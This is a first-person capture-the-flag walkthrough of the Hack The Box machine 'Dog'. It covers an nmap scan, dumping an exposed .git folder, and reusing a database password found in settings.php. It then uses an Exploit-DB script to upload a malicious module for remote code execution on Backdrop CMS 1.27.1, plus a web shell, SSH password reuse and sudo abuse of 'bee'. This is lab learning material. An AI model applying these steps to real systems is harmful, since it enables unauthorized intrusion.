User Flag#

Nmap scan:#

1
# Nmap 7.95 scan initiated Sat Mar  8 22:34:48 2025 as: /usr/lib/nmap/nmap -Pn -p- -A --min-rate 5000 -oN scan.txt 10.10.11.58
2
Warning: 10.10.11.58 giving up on port because retransmission cap hit (10).
3
Nmap scan report for 10.10.11.58 (10.10.11.58)
4
Host is up (0.11s latency).
5
Not shown: 64794 closed tcp ports (reset), 739 filtered tcp ports (no-response)
6
PORT   STATE SERVICE VERSION
7
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
8
| ssh-hostkey:
9
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
10
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
11
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
12
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
13
| http-git:
14
|   10.10.11.58:80/.git/
15
|     Git repository found!
16
|     Repository description: Unnamed repository; edit this file 'description' to name the...
17
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
18
|_http-server-header: Apache/2.4.41 (Ubuntu)
19
| http-robots.txt: 22 disallowed entries (15 shown)
20
| /core/ /profiles/ /README.md /web.config /admin
21
| /comment/reply /filter/tips /node/add /search /user/register
22
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
23
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
24
|_http-title: Home | Dog
25
Device type: general purpose
26
Running: Linux 5.X
27
OS CPE: cpe:/o:linux:linux_kernel:5
28
OS details: Linux 5.0 - 5.14
29
Network Distance: 2 hops
30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
31

32
TRACEROUTE (using port 199/tcp)
33
HOP RTT       ADDRESS
34
1   104.57 ms 10.10.14.1 (10.10.14.1)
35
2   198.47 ms 10.10.11.58 (10.10.11.58)
36

37
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
38
# Nmap done at Sat Mar  8 22:35:50 2025 -- 1 IP address (1 host up) scanned in 62.54 seconds

I added dog.htbto /etc/hosts

1
echo -e "10.10.11.58\tdog.htb" | sudo tee -a /etc/hosts
2
10.10.11.58  dog.htb

From the Nmap scan, we can see that the .git folder of the website is exposed. I dumped it using git-dumper:

1
git-dumper http://dog.htb ./output

After finishing the dump, I started analyzing the dumped project.
The project is using Backdrop CMS, and I noticed a settings.php file that includes some user credentials for SQL commands. I tried logging in as root using the password BackDropJ2024DS2024, but it didn’t work.
I continued searching for any interesting information and, after a while, found that the Backdrop CMS version is 1.27.1. I also discovered a user named Tiffany. I tried to login with tiffany using the password I already found and I succeeded I’m in as tiffany The 1.27.1 version of Backdrop CMS is vulnerable to an authenticated RCE through the upload of a malicious module. I used this script from Exploit-DB to generate a malicious module and modified it to compress the file as a tar archive, since the Zip PHP extension is not enabled on the server.

1
$ python3 exploit.py http://dog.htb/
2
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
3
Evil module generating...
4
Evil module generated! shell.tar
5
Go to http://dog.htb//?q=admin/modules/install and upload the shell.tar for Manual Installation.
6
Your shell address: http://dog.htb//modules/shell/shell.php

I uploaded the shell.tarfile as a module. Then, I navigated to http://dog.htb/modules/shell/shell.php. I executed the command cat /etc/passwd to check for available users. The user www-data does not have /bin/bash, so obtaining a reverse shell directly is not an option. However, I found two other users: jobert (UID 1000) and johncusack (UID 1001).
I attempted to access SSH using these usernames with the MySQL password. I couldn’t log in as jobert, but I successfully logged in as johncusack.

Privilege escalation#

Johncusack has sudo permissions to run bee, a command-line utility for Backdrop CMS. I attempted to read the root flag using this command, but it failed. After some research, I found that the error could be resolved by setting the --root option to the location where Backdrop CMS is installed. I tried this approach and successfully retrieved the root flag.